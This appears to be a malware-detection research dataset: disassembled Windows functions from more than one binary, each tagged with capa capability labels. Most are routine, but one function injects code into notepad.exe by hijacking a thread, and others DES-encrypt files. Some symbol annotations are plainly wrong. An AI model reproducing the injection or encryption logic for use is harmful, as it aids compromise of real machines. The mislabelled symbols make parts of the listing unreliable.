joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140043a60
Capabilities:
Resolve dns

Disassembly:
push rbx
push rbp
push r12
push r14
push r15
sub rsp, 0x20
xor r12d, r12d
mov r15, r9
mov qword [r9], r12
mov ebx, r12d
lea r9, [rsp + 0x68]
mov r14d, r12d
call qword [sym.imp.WS2_32.dll_getaddrinfo]
mov ebp, eax
test eax, eax
jne 0x140043bfe
mov qword [rsp + 0x58], rdi
mov rdi, qword [rsp + 0x68]
test rdi, rdi
je 0x140043be7
mov qword [rsp + 0x50], rsi
nop dword [rax]
cmp dword [rdi + 4], 2
jne 0x140043b58
cmp qword [rdi + 0x20], r12
je 0x140043b58
cmp qword [rdi + 0x10], 0x10
jb 0x140043b58
mov ecx, gethostbyname
call qword [fcn.14006f290]
mov rsi, rax
test rax, rax
je 0x140043b91
mov ecx, dword [rdi]
mov dword [rax], ecx
mov ecx, dword [rdi + 4]
mov dword [rax + 4], ecx
mov ecx, dword [rdi + 8]
mov dword [rax + 8], ecx
mov ecx, dword [rdi + 0xc]
mov dword [rax + 0xc], ecx
mov ecx, reloc.WS2_32.dll_recv
mov dword [rax + reloc.WS2_32.dll_recv], 0x10
mov qword [rax + 0x20], r12
mov qword [rax + 0x18], r12
mov qword [rax + 0x28], r12
call qword [fcn.14006f290]
mov qword [rsi + 0x20], rax
test rax, rax
je 0x140043b81
mov rcx, qword [rdi + 0x20]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
mov rcx, qword [rdi + 0x18]
test rcx, rcx
je 0x140043b45
call qword [str.h3_b_]
mov qword [rsi + 0x18], rax
test rax, rax
je 0x140043b67
test rbx, rbx
cmove rbx, rsi
test r14, r14
je 0x140043b55
mov qword [r14 + 0x28], rsi
mov r14, rsi
mov rdi, qword [rdi + 0x28]
test rdi, rdi
jne 0x140043ab0
jmp 0x140043b96
mov rcx, qword [rsi + 0x20]
mov ebp, 8
call qword [fcn.14006f27c]
mov rcx, rsi
call qword [fcn.14006f27c]
jmp 0x140043b96
mov rcx, rsi
mov ebp, 8
call qword [fcn.14006f27c]
jmp 0x140043b96
mov ebp, 8
mov rcx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x50]
test rcx, rcx
je 0x140043bab
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
test ebp, ebp
je 0x140043be2
test rbx, rbx
je 0x140043bdd
mov rcx, qword [rbx + 0x20]
call qword [fcn.14006f27c]
mov rcx, qword [rbx + 0x18]
call qword [fcn.14006f27c]
mov rdi, qword [rbx + 0x28]
mov rcx, rbx
call qword [fcn.14006f27c]
mov rbx, rdi
test rdi, rdi
jne 0x140043bb4
mov rbx, r12
jmp 0x140043bf4
test rbx, rbx
jne 0x140043bf4
mov ebp, 0x2af9
mov ecx, ebp
call qword [sym.imp.WS2_32.dll_WSASetLastError]
mov rdi, qword [rsp + 0x58]
mov eax, ebp
mov qword [r15], rbx
add rsp, 0x20
pop r15
pop r14
pop r12
pop rbp
pop rbx
ret

Function at 0x140044090
Capabilities:
Generate random numbers via winapi

Disassembly:
mov rcx, rdx
mov rdx, r8
jmp 0x140044090
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rbx, rdx
mov qword [rsp + 0x50], 0
mov rdi, rcx
mov dword [rsp + 0x20], 0xf0000040
xor edx, edx
lea rcx, [rsp + 0x50]
mov r9d, 1
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x1400440ec
mov rcx, qword [rsp + 0x50]
mov r8, rdi
mov edx, ebx
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov rcx, qword [rsp + 0x50]
xor edx, edx
test eax, eax
jne 0x1400440fc
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, 2
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rbx, qword [rsp + 0x40]
xor eax, eax
add rsp, 0x30
pop rdi
ret
Function at 0x1400484a0
Capabilities:
Query environment variable

Disassembly:
sub rsp, 0x148
mov rax, qword [0x1400c5518]
xor rax, rsp
mov qword [rsp + 0x130], rax
call fcn.14007c964
mov byte [rsp + 0x20], 0
test rax, rax
je 0x140048506
mov r8d, 0x104
lea rdx, [rsp + 0x20]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
cmp byte [rsp + 0x20], 0
je 0x140048506
lea rcx, [rsp + 0x20]
call qword [str.h3_b_]
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.140067810
add rsp, 0x148
ret
xor eax, eax
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.140067810
add rsp, 0x148
ret

Function at 0x14004f450
Capabilities:
Hash data using md4
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
mov rbp, r8
mov rsi, rdx
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rdx + rbx], 0
jne 0x14004f471
lea rcx, [rbx + rbx]
call qword [fcn.14006f290]
mov rdi, rax
test rax, rax
jne 0x14004f494
lea eax, [rdi + 0x1b]
jmp 0x14004f562
xor ecx, ecx
test rbx, rbx
je 0x14004f4b4
nop dword [rax + rax]
movzx eax, byte [rcx + rsi]
mov byte [rdi + rcx*2], al
mov byte [rdi + rcx*2 + 1], 0
inc rcx
cmp rcx, rbx
jb 0x14004f4a0
mov r9d, 1
mov dword [rsp + 0x20], 0xf0000000
xor r8d, r8d
lea rcx, [rsp + 0x38]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x14004f54f
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x8002
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x14004f542
mov rcx, qword [rsp + 0x30]
lea r8d, [rbx + rbx]
xor r9d, r9d
mov dword [rsp + 0x68], reloc.WS2_32.dll_recv
mov rdx, rdi
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
mov rcx, qword [rsp + 0x30]
lea r9, [rsp + 0x68]
mov r8, rbp
mov dword [rsp + 0x20], 0
mov edx, 2
call qword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x38]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
xor eax, eax
mov rcx, rdi
mov dword [rbp + 0x10], eax
mov byte [rbp + 0x14], al
call qword [fcn.14006f27c]
xor eax, eax
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x14004f580
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using des via winapi
Encrypt or decrypt via wincrypt

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x1400c5518]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov rdi, r8
mov dword [rbp - 0x40], 8
mov rbx, rdx
mov dword [rsp + 0x20], 0xf0000000
mov rsi, rcx
xor r8d, r8d
xor edx, edx
lea rcx, [rbp - 0x38]
mov r9d, 1
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x14004f6b7
movzx edx, byte [rdi + 1]
movzx ecx, byte [rdi]
movzx eax, dl
movzx r8d, byte [rdi + 5]
shr al, 1
mov byte [rbp - 0x1c], cl
shl cl, 7
or al, cl
shl dl, 6
movzx ecx, byte [rdi + 2]
mov byte [rbp - 0x1b], al
movzx eax, cl
shr al, 2
or al, dl
shl cl, 5
movzx edx, byte [rdi + 3]
mov byte [rbp - 0x1a], al
movzx eax, dl
shr al, 3
or al, cl
shl dl, 4
movzx ecx, byte [rdi + 4]
mov byte [rbp - 0x19], al
movzx eax, cl
shr al, 4
or al, dl
shl cl, 3
mov byte [rbp - 0x18], al
movzx eax, r8b
shr al, 5
or al, cl
shl r8b, 2
movzx ecx, byte [rdi + 6]
mov byte [rbp - 0x17], al
movzx eax, cl
add cl, cl
shr al, 6
or al, r8b
mov byte [rbp - 0x15], cl
mov qword [rsp + 0xa0], r14
lea rcx, [rbp - 0x1c]
xor r14d, r14d
mov byte [rbp - 0x16], al
mov dword [rbp - 0x28], 0x208
mov dword [rbp - 0x24], 0x6601
mov dword [rbp - 0x20], 8
lea edx, [r14 + 8]
call fcn.1400505c0
mov rcx, qword [rbp - 0x38]
lea rax, [rbp - 0x30]
mov qword [rsp + 0x28], rax
lea r8d, [r14 + 0x14]
xor r9d, r9d
mov dword [rsp + 0x20], r14d
lea rdx, [rbp - 0x28]
call qword [sym.imp.ADVAPI32.dll_CryptImportKey]
mov r14, qword [rsp + 0xa0]
test eax, eax
jne 0x14004f6bb
mov rcx, qword [rbp - 0x38]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
xor al, al
jmp 0x14004f700
mov rax, qword [rsi]
xor r9d, r9d
mov rcx, qword [rbp - 0x30]
xor r8d, r8d
mov qword [rbx], rax
xor edx, edx
mov eax, dword [rbp - 0x40]
mov dword [rsp + 0x30], eax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_CryptEncrypt]
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov rcx, qword [rbp - 0x38]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov al, 1
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.140067810
mov rbx, qword [rsp + 0xb0]
add rsp, 0x80
pop rdi
pop rsi
pop rbp
ret
Function at 0x14005cb20
Capabilities:
Encode data using xor
Generate random numbers using the delphi lcg

Disassembly:
push rdi
mov r10d, 0x23456789
mov dword [rdx], 0x12345678
mov dword [rdx + 4], r10d
mov rdi, r8
mov dword [rdx + 8], 0x34567890
mov r9, rdx
movzx eax, byte [rcx]
mov r11, rcx
test al, al
je 0x14005cbbc
mov qword [rsp + 0x10], rbx
mov r8d, 0x12345678
mov ebx, 0x34567890
nop dword [rax]
mov rcx, r8
lea r11, [r11 + 1]
xor rcx, rax
movzx eax, cl
mov ecx, r8d
shr ecx, 8
mov edx, dword [rdi + rax*4]
xor edx, ecx
mov ecx, ebx
movzx eax, dl
mov r8d, edx
add eax, r10d
mov dword [r9], edx
imul r10d, eax, 0x8088405
shr ecx, 8
inc r10d
mov dword [r9 + 4], r10d
mov eax, r10d
shr rax, 0x18
xor rax, rbx
movzx eax, al
mov eax, dword [rdi + rax*4]
xor eax, ecx
mov ebx, eax
mov dword [r9 + 8], eax
movzx eax, byte [r11]
test al, al
jne 0x14005cb60
mov rbx, qword [rsp + 0x10]
pop rdi
ret

Function at 0x14005cbc0
Capabilities:
Encode data using xor
Generate random numbers using the delphi lcg

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
cmp dword [rcx + 0x10108], 0
mov rbx, rcx
je 0x14005cc8a
xor r11d, r11d
cmp dword [rcx + 0xd4], r11d
jbe 0x14005cc8a
nop word [rax + rax]
movzx eax, byte [r11 + rbx + 0x100]
mov edx, dword [rbx + 0x10128]
mov ecx, edx
mov r8, qword [rbx + 0x10138]
xor rcx, rax
mov r10d, dword [rbx + 0x10130]
movzx eax, cl
and r10d, 0xfffd
or r10d, 2
shr edx, 8
mov ecx, dword [r8 + rax*4]
xor ecx, edx
mov dword [rbx + 0x10128], ecx
movzx eax, cl
add eax, dword [rbx + 0x1012c]
mov ecx, dword [rbx + 0x10130]
imul eax, eax, 0x8088405
inc eax
mov dword [rbx + 0x1012c], eax
shr rax, 0x18
xor rax, rcx
shr ecx, 8
movzx eax, al
mov eax, dword [r8 + rax*4]
xor eax, ecx
mov dword [rbx + 0x10130], eax
mov eax, r10d
xor eax, 1
imul eax, r10d
shr eax, 8
xor byte [r11 + rbx + 0x100], al
inc r11d
cmp r11d, dword [rbx + 0xd4]
jb 0x14005cbf0
mov r9d, dword [rbx + 0xd4]
lea r8, [rbx + 0x100]
mov rdx, qword [rbx + 0x58]
mov rcx, qword [rbx + 0x38]
mov edi, dword [rbx + 0xd4]
call qword [rbx + reloc.WS2_32.dll_recv]
xor edx, edx
mov dword [rbx + 0xd4], 0
cmp eax, edi
mov ecx, 0xffffffff
cmovne edx, ecx
mov ecx, dword [rbx + 0x84]
add qword [rbx + 0x10118], rdi
mov eax, edx
add qword [rbx + 0x10120], rcx
mov dword [rbx + 0x84], 0
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x140080970
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14008079c
Function at 0x140001480
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x1400887c0]
mov dword [rax], 1
mov rax, qword [0x1400887d0]
mov dword [rax], 1
mov rax, qword [0x1400887e0]
mov dword [rax], 1
mov rax, qword [0x1400887b0]
mov dword [rax], 1
mov rax, qword [0x140088610]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400014de
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x14000150a
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x140001530
cmp eax, 0x20b
je 0x140001557
jmp 0x140001586
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x140001543
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x14000158b
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x140001572
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x14000158b
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x140001ec0
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x38
lea r15, [0x140028060]
mov r14, rdx
mov rdx, r15
mov r13, r8
call sym.fopen
mov r12, rax
or eax, 0xffffffff
test r12, r12
je 0x140002006
mov rdx, r15
mov rcx, r14
call sym.fopen
mov r15, rax
mov eax, 0xfffffffe
test r15, r15
je 0x140002006
lea rdx, [0x140028063]
mov rcx, r13
call sym.fopen
mov rsi, rax
mov eax, 0xfffffffd
test rsi, rsi
je 0x140002006
lea rdi, [rsp + 0x28]
mov r9, r15
mov r8d, 8
mov edx, 1
mov rcx, rdi
call sym.fread
mov r8d, 2
xor edx, edx
mov rcx, r12
call sym.fseek
mov rcx, r12
call sym.ftell
mov rcx, r12
mov r13d, eax
call sym.rewind
mov ebx, r13d
test r13b, 7
je 0x140001f89
mov eax, r13d
mov ecx, 8
cdq
idiv ecx
lea ebx, [rax*8 + 8]
movsxd rbx, ebx
mov rcx, rbx
call sym.malloc
mov rcx, rbx
mov rbp, rax
call sym.malloc
mov r9, r12
movsxd r8, r13d
mov edx, 1
mov r14, rax
mov rcx, rbp
call sym.fread
mov r9d, r13d
mov r8, r14
mov rdx, rdi
mov rcx, rbp
call sym.DES_Encrypt
mov r9, rsi
mov r8, rbx
mov edx, 1
mov rcx, r14
call sym.fwrite
mov rcx, r12
call sym.fclose
mov rcx, rsi
call sym.fclose
mov rcx, r15
call sym.fclose
mov rcx, rbp
call sub.msvcrt.dll_free
mov rcx, r14
call sub.msvcrt.dll_free
mov eax, 1
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140002017
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x40
mov r12, rcx
mov r13, rdx
lea rdx, [0x140028063]
mov rcx, r8
call sym.fopen
mov rbx, rax
or eax, 0xffffffff
test rbx, rbx
je 0x140002148
lea r14, [0x140028060]
mov rcx, r13
mov rdx, r14
call sym.fopen
mov r15, rax
mov eax, 0xfffffffe
test r15, r15
je 0x140002148
mov rcx, r12
mov rdx, r14
call sym.fopen
mov r12, rax
mov eax, 0xfffffffd
test r12, r12
je 0x140002148
lea r10, [rsp + 0x38]
mov r9, r15
mov r8d, 8
mov edx, 1
mov rcx, r10
mov qword [rsp + 0x28], r10
call sym.fread
mov r8d, 2
xor edx, edx
mov rcx, r12
call sym.fseek
mov rcx, r12
call sym.ftell
mov rcx, r12
movsxd rdi, eax
call sym.rewind
mov rcx, rdi
call sym.malloc
mov rcx, rdi
mov r14, rax
call sym.malloc
mov r9, r12
mov r8, rdi
mov edx, 1
mov rcx, rax
mov r13, rax
call sym.fread
mov rdx, qword [rsp + 0x28]
mov r9d, edi
mov r8, r14
mov rcx, r13
call sym.DES_Decrypt
mov r9, rbx
mov edx, 1
mov rcx, r14
movsxd r8, eax
call sym.fwrite
mov rcx, rbx
call sym.fclose
mov rcx, r12
call sym.fclose
mov rcx, r15
call sym.fclose
mov rcx, r14
call sub.msvcrt.dll_free
mov rcx, r13
call sub.msvcrt.dll_free
mov eax, 1
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
ret

Function at 0x14000241d
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
lea r15, [0x140028060]
mov r14, rdx
mov rdx, r15
mov r13, r8
call sym.fopen
mov r12, rax
or eax, 0xffffffff
test r12, r12
je 0x140002563
mov rdx, r15
mov rcx, r14
call sym.fopen
mov r15, rax
mov eax, 0xfffffffe
test r15, r15
je 0x140002563
lea rdx, [0x140028063]
mov rcx, r13
call sym.fopen
mov rsi, rax
mov eax, 0xfffffffd
test rsi, rsi
je 0x140002563
lea rdi, [rsp + 0x28]
mov r9, r15
mov r8d, 0x18
mov edx, 1
mov rcx, rdi
call sym.fread
mov r8d, 2
xor edx, edx
mov rcx, r12
call sym.fseek
mov rcx, r12
call sym.ftell
mov rcx, r12
mov r13d, eax
call sym.rewind
mov ebx, r13d
test r13b, 7
je 0x1400024e6
mov eax, r13d
mov ecx, 8
cdq
idiv ecx
lea ebx, [rax*8 + 8]
movsxd rbx, ebx
mov rcx, rbx
call sym.malloc
mov rcx, rbx
mov rbp, rax
call sym.malloc
mov r9, r12
movsxd r8, r13d
mov edx, 1
mov r14, rax
mov rcx, rbp
call sym.fread
mov r9d, r13d
mov r8, r14
mov rdx, rdi
mov rcx, rbp
call sym.D3DES_Encrypt
mov r9, rsi
mov r8, rbx
mov edx, 1
mov rcx, r14
call sym.fwrite
mov rcx, r12
call sym.fclose
mov rcx, rsi
call sym.fclose
mov rcx, r15
call sym.fclose
mov rcx, rbp
call sub.msvcrt.dll_free
mov rcx, r14
call sub.msvcrt.dll_free
mov eax, 1
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140002574
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x50
mov r12, rcx
mov r13, rdx
lea rdx, [0x140028063]
mov rcx, r8
call sym.fopen
mov rbx, rax
or eax, 0xffffffff
test rbx, rbx
je 0x1400026a5
lea r14, [0x140028060]
mov rcx, r13
mov rdx, r14
call sym.fopen
mov r15, rax
mov eax, 0xfffffffe
test r15, r15
je 0x1400026a5
mov rcx, r12
mov rdx, r14
call sym.fopen
mov r12, rax
mov eax, 0xfffffffd
test r12, r12
je 0x1400026a5
lea r10, [rsp + 0x38]
mov r9, r15
mov r8d, 0x18
mov edx, 1
mov rcx, r10
mov qword [rsp + 0x28], r10
call sym.fread
mov r8d, 2
xor edx, edx
mov rcx, r12
call sym.fseek
mov rcx, r12
call sym.ftell
mov rcx, r12
movsxd rdi, eax
call sym.rewind
mov rcx, rdi
call sym.malloc
mov rcx, rdi
mov r14, rax
call sym.malloc
mov r9, r12
mov r8, rdi
mov edx, 1
mov rcx, rax
mov r13, rax
call sym.fread
mov rdx, qword [rsp + 0x28]
mov r9d, edi
mov r8, r14
mov rcx, r13
call sym.D3DES_Decrypt
mov r9, rbx
mov edx, 1
mov rcx, r14
movsxd r8, eax
call sym.fwrite
mov rcx, rbx
call sym.fclose
mov rcx, r12
call sym.fclose
mov rcx, r15
call sym.fclose
mov rcx, r14
call sub.msvcrt.dll_free
mov rcx, r13
call sub.msvcrt.dll_free
mov eax, 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x1400026c0
Capabilities:
Enumerate processes
Enumerate threads
Hijack thread execution

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x658
lea r13, str.notepad.exe
mov rbp, rcx
mov rsi, rdx
mov ecx, 6
xor edx, edx
call sym.CreateToolhelp32Snapshot
lea rdi, [rsp + 0x50]
mov ecx, 0x4c
lea rbx, [rsp + 0x50]
mov r12, rax
xor eax, eax
mov rdx, rbx
rep stosd dword [rdi], eax
mov rcx, r12
mov dword [rsp + 0x50], 0x130
lea rdi, [rsp + 0x7c]
call sym.Process32First
test eax, eax
jne 0x140002790
mov edi, dword [rsp + 0x58]
xor edx, edx
mov dword [rsp + 0x1b0], 0x10000b
mov ecx, 0x1f0fff
mov dword [rsp + 0x34], 0x1c
mov r8d, edi
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r8, rsi
xor edx, edx
mov r9d, 0x3000
mov r13, rax
mov dword [rsp + 0x20], 0x40
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9, rsi
lea rsi, [rsp + 0x34]
mov rcx, r13
mov qword [rsp + 0x20], 0
mov rbx, rax
mov r8, rbp
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rdx, rsi
mov rcx, r12
call sym.Thread32First
jmp 0x1400027b0
mov rdx, r13
mov rcx, rdi
call sym.strcmp
test eax, eax
je 0x14000271a
mov rdx, rbx
mov rcx, r12
call sym.Process32Next
jmp 0x140002790
mov rdx, rsi
mov rcx, r12
call sym.Thread32Next
test eax, eax
je 0x1400027dc
cmp dword [rsp + 0x40], edi
jne 0x1400027b0
mov r8d, dword [rsp + 0x3c]
xor edx, edx
mov ecx, 0x1f03ff
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov r12, rax
jmp 0x1400027df
xor r12d, r12d
lea r13, [rsp + 0x180]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov rdx, r13
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rdx, r13
mov rcx, r12
mov qword [rsp + 0x278], rbx
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
add rsp, 0x658
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret

Function at 0x14000297c
Capabilities:
Write file on windows

Disassembly:
push r12
sub rsp, 0x20
mov rax, qword [0x1400a37c8]
test rax, rax
je 0x140002990
call rax
mov ecx, 2
call qword [sym.__acrt_iob_func]
mov r8d, 0xe
mov edx, 1
lea rcx, str.out_of_memory_n
mov r12, rax
mov r9, rax
call sym.fwrite
mov rcx, r12
call sym.fflush
mov ecx, 1
call sym.exit
nop

Function at 0x140004e58
Capabilities:
Write file on windows

Disassembly:
push r12
sub rsp, 0x20
mov rax, qword [0x140099e20]
cmp rax, 0xdab
jle 0x140004ea7
mov ecx, 2
call qword [sym.__acrt_iob_func]
mov r8d, 0x4b
mov edx, 1
lea rcx, str._GC__cannot_register_thread_local_variable__too_many_thread_local_variables
mov r12, rax
mov r9, rax
call sym.fwrite
mov rcx, r12
call sym.fflush
mov ecx, 1
call sym.exit
lea rdx, [0x1400930c0]
mov qword [rdx + rax*8], rcx
inc rax
mov qword [0x140099e20], rax
add rsp, 0x20
pop r12
ret

Function at 0x1400075e7
Capabilities:
Enumerate processes
Enumerate threads
Hijack thread execution

Disassembly:
mov rax, qword [str._A_n_]
movsxd rdx, dword [rax]
mov rax, qword [str.HA_n_]
mov rcx, qword [rax]
jmp sym.Thread_char__unsigned_long_long_
Function at 0x1400110b0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov r8, rbx
mov rdx, qword [rbp + 0x20]
mov rcx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x140011ce2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x1400a4248]
test eax, eax
je 0x140011d7a
lea rax, [0x1400a4220]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x1400a4250]
mov qword [rbp - 8], rax
jmp 0x140011d5e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140011d52
cmp qword [rbp - 0x10], 0
je 0x140011d52
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140011d18
lea rax, [0x1400a4220]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x140011d7b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140011e80
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140011ea8
mov eax, 0
jmp 0x140011ef6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140011ed1
mov eax, 0
jmp 0x140011ef6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140011ef1
mov eax, 0
jmp 0x140011ef6
mov eax, 1
add rsp, 0x20
pop rbp
ret